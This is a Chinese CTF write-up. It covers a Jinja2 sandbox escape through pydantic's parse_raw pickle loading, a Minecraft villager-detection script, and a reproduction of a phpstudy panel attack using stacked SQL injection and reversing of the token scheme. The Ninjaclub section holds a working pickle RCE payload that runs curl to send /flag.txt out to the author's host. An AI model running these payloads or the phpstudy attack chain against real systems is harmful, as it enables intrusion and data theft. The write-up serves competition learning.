好久没写过 WP 了...... 这次还是写写吧

Ninjaclub

由于是最新版的 jinja2, 而且用的是 SandboxedEnvironment, 网上的payload试了试发现过不掉, 于是我们就只能这样

sandbox 的过滤是要求不能调用对象以 _ 开头的, 以及 mro

本地调试下断可以看到, 当前 SSTI 的 Context 下只有这个, 我们在控制台里面调试调试, dir 一下

edcafa66d9805802111197e2127c6c04

测试看到符合条件的有:

  • dict

'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values’

  • cycler

'current', 'next', 'reset’

  • user

'age', 'construct', 'copy', 'description', 'dict', 'from_orm', 'json', 'model_computed_fields', 'model_config', 'model_construct', 'model_copy', 'model_dump', 'model_dump_json', 'model_extra', 'model_fields', 'model_fields_set', 'model_json_schema', 'model_parametrized_name', 'model_post_init', 'model_rebuild', 'model_validate', 'model_validate_json', 'model_validate_strings', 'name', 'parse_file', 'parse_obj', 'parse_raw', 'schema', 'schema_json', 'update_forward_refs', 'validate’

考虑一下 User 哪里来的这么多东西, 感觉其中的有些东西挺有趣的

6641afaaee6b2f43c768950ba4b9d2c0

发现是 BaseModel 的东西, 原来是继承了这玩意儿

我们看看 parse_file

{{user.parse_file("/flag.txt")}}

6c5d2a0bd8a16198220d379f3f50714d

真能! 但是继续测试发现他会把这个当成 JSON 解析, 和 flag 格式不符合

我们再来吧

79062bf2bffcca15ec5ce5ef9db9bc5a

看到了最爱的 pickle

通过传参:

{{user.parse_raw("str", proto="pickle", allow_pickle=True)}}

发现能够走到!

此时我们需要将 pickle 好的数据进行稳定的转换到 str 之后也能稳定转回bytes, 在一番测试和寻找后我们锁定到了 bytes.fromhex 于我们可以创建一个 Pickle

import os
import pickle
import base64

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def __reduce__(self):
        return (eval, ("__import__('os').system('curl <http://ctf.kengwang.com.cn:8085/`cat> /flag.txt|base64`')",))

user = User("kengwang", "hatepython")
print(pickle.dumps(user).hex())

# 祖传 Pickle 利用脚本

最终的 payload 为:

{{user.parse_raw("".encode("utf-8").fromhex("80049572000000000000008c086275696c74696e73948c046576616c9493948c565f5f696d706f72745f5f28276f7327292e73797374656d28276375726c20687474703a2f2f6374662e6b656e6777616e672e636f6d2e636e3a383038352f60636174202f666c61672e7478747c62617365363460272994859452942e"), proto="pickle", allow_pickle=True)}}

c0b52f32a35b5a06584ca727ac6ac7cc

hideandseek & h1de@ndSe3k

村民在被清除后会在日志中被记录

1d8344a76e36880653f8c41e37016dc0

也可以写一个 MineScript 来 5 秒寻找一次

import minescript
import sys
import time

def detect_villagers():
    entities = minescript.entities(nbt=True)
    for entity in entities:
        if str(entity['type']).find("villager") != -1:
            minescript.echo(entity)
            minescript.chat("Villager detected!")
            return True
    return False
     

while True:
    # show detecting at time
    minescript.echo("Detecting villagers...")
    a = detect_villagers()
    # sleep for 5 seconds
    if not a:
        time.sleep(5)
    else:
        break

3e60c2c08dc8c05fc85182de5efcffe9

r3php (复现)

我们可以先拉一个 phpstudy 环境的 Docker 镜像 tarnwang/phpstudy_linux , 将里面的 web.tar.gz 拿出来

打开 PhpStrom 进行代码分析

我们可以来到登录的主要逻辑处 service/app/model/Account.php , 可以看到里面通过 Socket::*request* 与后端进行通信

跟进之后我们可以看到主要逻辑

/**
 * 网络通信模块
 */
class Socket{

    public static function request($data){
        error_reporting(E_ALL);
        set_time_limit(0);
        ***$host = "127.0.0.1";
        $port = 8090;***
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        //接收套接流的最大超时时间2秒,后面是微秒单位超时时间,设置为零,表示不管它
        socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
         //发送套接流的最大超时时间为6秒
        socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));
        
        $connection = @socket_connect($socket, $host, $port);
        if(!$connection){
            file_put_contents('socket.log', 'cannot connection '.$host.':'.$port.'  at '.date('Y-m-d H:i:s')."\\r\\n",8);
            return false;
        }
        $_data = json_decode($data,true);
        isset($_SESSION['this_token']) && $_data['token'] = $_SESSION['this_token'];
        $data = json_encode($_data);

        $data .= '^^^';
        socket_write($socket, $data,strlen($data));
        $res = '';
        while ($buff = socket_read($socket,1024)) {
            $encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
            if($encoding=='EUC-CN'){
                $buff = iconv('GBK', 'UTF-8', $buff);
            }

            $res .= $buff;
            if(substr($res,-3)=='^^^'){
                socket_close($socket);
                break;
            }
        }

        $res = rtrim($res,'^^^');
        if($res == 'ipdeny'){
            xpexit(json_encode(array('code'=>403,'msg'=>'该IP被禁止访问')));
        }

        //检验token
        if($_data['command'] != 'login'){
            $res_ = json_decode($res,true);
            if(isset($res_['result'])&&$res_['result']==-2){
                distorySession();
                xpexit(json_encode(array('code'=>1001,'msg'=>'您已经在其他地方登录过了,即将退出当前页面')));
            }
        }
        

        return $res;
    }
}

经过代码审计可知, 我们需要给 8090 端传入一些json的数据, 以 ^^^ 作为分割

我们可以用 nc 连上去试一试

由于有 IP 校验, 我们在 Docker 容器中起一个 nc

1de169c10855445af3cacb2c84836d56

我们可以找到这个文章

phpstudy小皮面板2023版RCE - dustfree - 博客园

这里的话是和前端进行的交互, 但是验证码是在前端层面进行的校验, 于是我们可以绕过这个验证码, 直接打后端的 SQL 注入

我们可以看看 service/app/model/Account.php 中传输数据的格式

<?php
/**
 * 帐号控制
 */
class Account{
    
    // 登录
    public static function login($username,$pwd,$verifycode){
        if($username==''){
            return array('code'=>1,'msg'=>'用户名不能为空');    
        }
        if($pwd == ''){
            return array('code'=>1,'msg'=>'密码不能为空');
        }
        if(!sessionStarted()){
            sessionStart();
        }
        if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
            return array('code'=>1,'msg'=>'验证码不正确');
        }
        **$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
        $res = Socket::request($request);**
        if(!$res){
            return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
        }
        $res = json_decode($res,true);
        if($res['result'] == -1){
            return array('code'=>300,'msg'=>$res['msg']);
        }
        if($res['result'] == 0){
            return array('code'=>1,'msg'=>$res['msg']);
        }

        //token校验
        $_SESSION['this_token'] = $res['token'];
        // $access_token = md5(time()).md5(rand(1,100));
        $access_token = $res['token'];
        $_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
        $res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
        return $res;
    }
    
    // 退出登录
    public static function logout(){
        if(!sessionStarted()){
            sessionStart();
        }
        unset($_SESSION['admin']);
        distorySession();
        $res = array('code'=>0,'msg'=>'退出成功','data'=>null);
        return $res;
    }
}

关注到加粗行, 我们可以依次来传入一个 JSON

{
  "command": "login",
  "data": {
    "username": "",
    "pwd": "kwkwkw"
  }
}

参考文章说 username 存在堆叠注入, 我们尝试进行

47d09cfdf56c08bf5f01d75959ce583d

之后再进行登录

9492188d52b9d161494ee4cfc7cac9e8

发现注入成功

我们期望来找到后端的数据库结构来对症下药

接下来是后端了, 后端的话加了个 upx 壳, 我们把他脱掉, 拖进 IDA 里面分析

下面是文件, 这个是 LInux 可执行 ELF 文件

phpstudy.bin

由于数据库无法打开, 我们直接在程序中找 SQL 语句

找到 CTaskMng::AddTask 中的

 v15 = CSqlite::ExecSql(
            v14,
            a3,
            "INSERT INTO TASKMNG (TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION)            VALU"
            "ES('%s',%d,'%s','%s','%s','%s','%s',%d,%d,%d,'%s','%s')",
            v26,
            v22,
            v25,

于是我们根据参数猜内容

当然我们也可以起一个 Fake Server 来抓出后端与前端的交互逻辑

我们再看看允许哪些 command

5cbaeba9be7a5e9459bb153b16751738

经过了 30 分钟的反编译:

disk
cpu_mem
installed_soft
sync_shop
get_running_server
system_info
save_ftp_pwd
site_network
site_list
site_edit
site_save
site_delete
site_delete_batch
index_page
404_page
apache_page
stop_page
save_default_page
site_start
site_stop
site_list_with_default
save_default_site
site_backup
default_siteport
get_default_site_port
dblist
add_db
del_db
editor_root_pwd
get_mysql_root_pwd
open_close_mysql_remote
mysql_root_remote_status
dobackup
backup_list
download_remote_backfile
dbbackup_del
recovery
get_back_file
get_db_back_file
file_sql
sql_file_list
import_sql
del_sql
showpwd
db_user_pwd
save_db_pwd
edit_access
get_db_access_info
default_ftp_folder
save_ftp
ftpLists
show_ftp_pwd
ftp_site_status
ftp_port
save_ftp_port
del_ftp
ftp_user_pwd
ftp_pwd_save
monitor_show_all
monitor_cpu
monitor_memory
monitor_disk
monitor_network
monitor_save_day_num
monitor_clear
monitor_switch
security_firwall_auto_open
security_firwall_auto_close
security_port_ip
allow_port
deny_ip
del_port
del_ip
security_firwall_open
security_firwall_close
save_sshport
security_ssh_close
security_ssh_open
security_ping_open
security_ping_close
clear_weblog
file_lists
create_folder
create_file
rename_files
del_files
docopy_file
doshears_file
compress
save_file_contents
file_history
load_sys_users
set_rights
file_recycle_lists
recycles_restore
recycles_real_delete
getlogs
clearlog
getsetting
access_ip
save_setting
auto_update
pane_state
sync_time
login
agree_user_agreement
update_pane_username
modifypwd
update_pane_pwd
add_domains
load_domains
del_domain
site_folder
save_site_foler
redirect301
save_redirect301
flow_limit
save_flow_limit
cur_rewrite_static
save_rewrite_static
save_as_rewrite_static
del_rewrite_static
apache_nginx_config
save_apache_nginx_config
do_recovery_config
php_versions
save_php_versions
save_php_cli_versions
php_cli_versions
get_ssl_config
save_ssl_config
get_free_ssl
certs_lists
get_tencent_free_ssl
check_tencent_cert_status
get_tencent_cert_item_status
del_cert_tencent
deploy_cert_tencent
del_cert
get_stealing_link_config
save_stealing_link_config
server_list
save_server_info
get_admin
admin_lists
del_admin
add_admin
modifyusername
editor_admin
getMenus
save_menus
del_menu
role_lists
del_role
load_role_menus
edit_role
add_role
get_sys_menus
soft_lists
get_soft_install_sites
uninstall
install_soft
cancel_install
install_process
show_index
set_and_install
uninstall_need_config
manage_app
soft_stop
soft_start
restart_soft
check_upgrade
upgrade_now
databases_settings
task_list
save_shell
del_task
exec_task
viewscript
log_list
clear_task_logs
save_proxy
load_reverse_proxy
site_ftp_list
db_ftp_list
save_backup_site
save_backup_db
add_waf_white_ips
waf_white_ips
del_rule
get_ip_mac
add_waf_black_ips
waf_black_ips
save_cc
save_endurance
cc_attack
endurance
del_cc
del_endurance
cc_open
cc_logs
del_cc_log
clean_cc_log
cc_open_logs
save_waf_url_whites
waf_url_whites
url_white_open
save_waf_url_black
waf_url_blacks
save_black_uas
black_uas
save_black_args
black_args
save_black_cookies
black_cookies
save_post_args
post_args
post_args_open
save_filext
filext_list
get_file_path
check_waf_rule
do_upgrade_waf_rule
php_exts
php_ext_status
php_params
save_php_params
php_config
save_php_config
dis_funcs
save_dis_funcs
del_dis_func
php_loadstatus
php_performance
save_php_performance
auto_set_php_performance
php_session_config
save_php_session_conifg
php_logs
nginx_config
apache_config
mysql_config
redis_config
memcached_config
mongodb_config
save_nginx_config
save_apache_config
save_mysql_config
save_redis_config
save_memcached_config
save_mongodb_config
nginx_error_log
apache_error_log
mysql_logs
nginx_performance
save_nginx_performance
nginx_loadstatus
apache_loadstatus
apache_performance
save_apache_performance
mysql_performance
save_mysql_performance
mysql_status
mysql_port
save_port
txt_mysql_slow_logs
redis_performance
save_redis_performance
redis_loadstatus
cpu_mem_io
server_visits
monitor_indicators
mysql_storage
save_mysql_storage_path
save_visit_url
memcached_performance
save_memcached_performance
memcached_loadstatus
waf_site_list
rule_enable
save_rule_item
get_key_string
get_key_string_new
args_black_open
cookie_black_open
soft_installed
waf_check
get_default_index
save_default_index
get_apache_nginx_config
waf_installed
ping
file_upload
set_root_pwd
decompress_file
waf_indicators
waf_open
get_filesafe_overview
filesafe_status
filesafe_open_stop
fielsafe_logs
del_filesafe_protect
fielsafe_optlogs
xpdiskmount_optlogs
load_exclude_files
del_exclude
filesafe_exclude
get_diskmount_data
do_path_mount
do_path_unmount
disk_clear
xplogin_info
check_xp_login
get_webshell_url
sync_websell_ssh_port
save_webshell_config
webshell_info
webshell_composer_info
is_soft_running
check_buy_soft
loginxp
pay_buywx
create_buy_qrcode
mongodb_ipport
mc_file_upload
mc_file_download
pane_api_info
save_pane_access_ip
del_pane_access_ip
mc_get_status
mc_site_lists
mc_add_site
press_file_process
mc_get_websites
mc_save_ssl_cert
mc_install_soft
mc_uninstall_soft
mc_start_soft
mc_stop_soft
mc_get_soft_status
mc_exec
mc_backup_sites
mc_backup_dbs
mc_file_access
download_remote_file
download_remote_file_process
mc_set_balance
mc_rm_balance
mc_add_slave_user
mc_show_master
mc_set_slave
mc_start_slave
mc_mysql_drop_slave_user
mc_stop_slave
mount_unmount_process
is_qrcode_scanned
qrcode_scan
get_account_qiniu
get_account_tencentoss
save_qiniu_account
save_tencentoss_account
save_alioss_account
get_account_alioss
file_list_qiniu
file_list_tencentoss
file_list_alioss
del_qiniu_files
del_tencentoss_files
del_alioss_files
do_create_qiniu_folder
do_create_tencentoss_folder
do_create_alioss_folder
get_qiniu_file_download_url
get_tencentoss_file_download_url
get_alioss_file_download_url
installed_cloud_lists
site_access_log
shell_login_logs
calculate_folder_size
get_progress_lists
close_process
close_process_tree
site_dataxp_analysis_basics
get_view_pages
get_landing_list
get_firewall_top
get_source_list
get_source_detail
get_spider_list
get_spider_detail
get_realtime_view
get_error_pages
get_firewall_detail
get_firewall_ip_detail
get_errorcode_detail
get_mongodb_list
del_mongodb
create_mongodb
get_mongodb_config_items
save_config_item
mongodb_logs
init_localhost
save_xppush_monitor
get_xppush_service_status
save_xppush_service_status
get_xppush_service_list
save_xppush_email
get_xppush_email
get_xppush_logs
clear_xppush_logs
save_xppush_wxmsg_auth_code
get_xppush_wxmsg_auth_code
save_shell_edit
save_visit_url_edit
save_backup_site_edit
set_task_status
reset_sitefile_rights
get_sql_detail_path

但是这里有一个判断 Token 错误的逻辑

cd4dd19c3d6686ed302707ecca2403ce

我们只有 login 的指令的权限, 于是我们只能走到这里面了

跟踪到了 CAdminMng::MakeUserToken , 易知函数原型 CAdminMng::MakeUserToken(std::string)

我们尝试优化一下逆向出来的代码 (感谢 GPT):

// CAdminMng::MakeUserToken(std::string)
CUtil *__fastcall CAdminMng::MakeUserToken(CUtil *a1, __int64 a2, const char **a3)
{
  int TimeStamp = CUtil::getTimeStamp(a1);
  char buffer[32];
  snprintf(buffer, 32, "%lu", TimeStamp);
  std::string token = std::string(*a3) + buffer;
  
  __int64 v22[2];
  CUtil::md5(v22, (__int64 *)token.data(), token.size());
  CUtil::md5(a1, v22);
  
  return a1;
}

可以看到我们的计算逻辑是 md5(md5(用户名 + 时间戳))

我们可以先重置密码, 然后发登录包, 之后算出token, 再通过 token 交互

class CAdminMng:
    @staticmethod
    def getTimeStamp():
        return int(time.time())

    @staticmethod
    def md5(data : str):
        return hashlib.md5(data.encode()).hexdigest().upper()

    @staticmethod
    def MakeUserToken(a1 : str):
        TimeStamp = CAdminMng.getTimeStamp()
        buffer = "%lu" % TimeStamp
        token = a1 + buffer

        v22 = CAdminMng.md5(token)
        v24 = CAdminMng.md5(v22)

        return v24